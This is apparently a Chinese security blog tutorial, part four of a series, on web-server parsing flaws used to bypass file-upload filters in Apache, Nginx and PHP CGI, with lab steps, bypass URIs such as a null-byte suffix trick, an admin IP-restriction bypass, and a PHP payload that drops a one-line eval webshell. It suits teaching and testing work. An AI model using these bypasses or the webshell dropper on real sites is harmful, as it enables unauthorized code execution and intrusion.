文件上传之解析漏洞与编辑器漏洞(四)

中间件解析漏洞

Apache低版本解析漏洞

Apache Httpd支持一个文件拥有多个后缀,不同的后缀执行不同的命令,也就是说当我们上传的文件中只要后缀名含有php,该文件就可以被解析成php文件,利用Apache httpd这个特性,就可以绕过上传文件的白名单。

该漏洞和apache版本和php版本无关,属于用户配置不当造成的解析漏洞,尤其是使用module模式与php结合的所有版本

apache支持php有多种模式,常见的有module、cgi、fastcgi等,此漏洞存在于module模式

比如上传一个a.php.abc

最后一个后缀名为.abc.他不会解析,所以向左看,.php为合法后缀,所以以.php格式解析,可用来绕过黑名单过滤

111

Apache 配置安全漏洞

AddHandler导致的解析漏洞。
如果运维人员给.php后缀增加了处理器:

AddHandler application/x-httpd-php .php 那么,在有多个后缀的情况下,只要一个文件名中含有.php后缀,即被识别成PHP文件,没必要是最后一个后缀。
利用这个特性,将会造成一个可以绕过上传白名单的解析漏洞。

这个是配置的问题,如果运维这样配置

那么只要一个文件带有php就会被当成php文件执行

比如a.php.png  就会被当成php文件执行。

apche

Apache换行解析

上传一个名为1.php的文件,被拦截:

1

在1.php后面插入一个\x0A(注意,不能是\x0D\x0A,只能是一个\x0A),不再拦截:

2

访问刚才上传的/1.php%0a,发现能够成功解析,但这个文件不是php后缀,说明目标存在解析漏洞:

3

成功绕过黑名单解析成功!

nginx 文件名逻辑漏洞

漏洞原理

CGI:是一种协议,定义了web服务器传递的数据格式。

FastCGI:优化版的CGI程序

PHP-CGI:PHP解释器,能够对PHP文件进行解析并返回相应的解析结果

PHP-FPM:FastCGI进程管理程序

当Nginx得到一个用户请求时,首先对url进行解析,进行正则匹配,如果匹配到以.php后缀结尾的文件名,会将请求的PHP文件交给PHP-CGI去解析。

以.php结尾的文件都会交给该模块处理,其中fastcgi_pass就是Nginx与PHP-FPM之间的媒介,通过ip+port的方式将请求转发给PHP解释器

CVE-2013-4547漏洞是由于非法字符空格和截止符导致Nginx在解析URL时的有限状态机混乱,导致攻击者可以通过一个非编码空格绕过后缀名限制。假设服务器中存在文件‘123.png ‘,则可以通过访问如下网址让服务器认为’123.png ‘的后缀为php

http://192.168.146.1/123.png \0.php

nginx

 

在docker上启动好环境,先上传一个符号要求的图片,抓包记得在名字后加空格.

nginx1

再次访问图片地址 加两个空格然后.php

nginx2

在hex里把第二个20换成00

也就是把第二个空格换成00截断

成功解析代码。

nginx3

 

应用:

所以,我们只需要上传一个空格结尾的文件,即可使PHP解析之。

再举个例子,比如很多网站限制了允许访问后台的IP:

location /admin/ {
    allow 127.0.0.1;
    deny all;
}

我们可以请求如下URI:/test[0x20]/../admin/index.php,这个URI不会匹配上location后面的/admin/,也就绕过了其中的IP验证;但最后请求的是/test[0x20]/../admin/index.php文件,也就是/admin/index.php,成功访问到后台。(这个前提是需要有一个目录叫“test ”:这是Linux系统的特点,如果有一个不存在的目录,则即使跳转到上一层,也会爆文件不存在的错误,Windows下没有这个限制)

 

nginx解析漏洞

我们上传一个图片,然后访问图片路径后加一个.php  发现这个图片被当成php文件处理了。

nginx解析0

这是什么原因呢?其实啊这就是nginx的文件解析出现了错误,在获得这个.php路径时他没有检查,一看是个.php后缀的文件就直接丢给php去处理了,php处理的时候发现 “诶?没有这个文件啊” 于是他就会继续向上找,就找到了.php的上级文件.jpg,然后把它当做php文件给处理了。具体的就看下面这个详细信息

Nginx 解析漏洞该解析漏洞是PHP CGI 的漏洞,在PHP的配置文件中有一个关键的选项cgi.fix_pathinfo默认开启,当URL中有不存在的文件,PHP就会向前递归解析 在一个文件路径(/xx.jpg)后面加上/xx.php会将/xx.jpg解析为 php 文件。

Nginx<=0.8.37 解析漏洞 在Fast-CGI关闭的情况下,Nginx <=0.8.37 依然存在解析漏洞,在一个文件路径(/xx.jpg)后面加上%00.php 会将 /xx.jpg%00.php 解析为php 文件。另一种手法:上传一个名字为test.jpg,包含以下内容文件:<?PHP fputs(fopen(‘shell.php’.‘w’),’<?phpeval($_POST[cmd])?>’);?> 然后访问test.jpg/.php 在这个目录下就会生成一句话木马shell.php。

第三方编辑器漏洞

就是很多网站他都有编辑文章的需求,他就会引入第三方编辑器这个东西来,众所周知,编辑器可以上传图片视频等,也就是说他有一个文件上传功能,所以如果第三方编辑器有漏洞的话,也可以造成一个文件上传漏洞。

漏洞手册附上:编辑器漏洞手册_zxl2605的博客-CSDN博客_编辑器漏洞手册

这个东西,遇到了对应的编辑器就直接百度找公开的exp利用就好,这里只是扩展一个思路,当正面突破不了时候,可以从第三方编辑器漏洞下手。

网上谷歌语法一搜一大把

常见CMS文件上传

这里引进也是一个扩展思路,当发现对方的站点是某个OA时候,可以收集版本找有没有对应的版本的OA漏洞

然后直接去利用。

经典OA文件上传漏洞详情:

通达OA文件上传+文件包含漏洞 – 终落 – 博客园 (cnblogs.com)

© 版权声明
THE END
喜欢就支持一下吧
点赞10 分享
评论 共2条

请登录后发表评论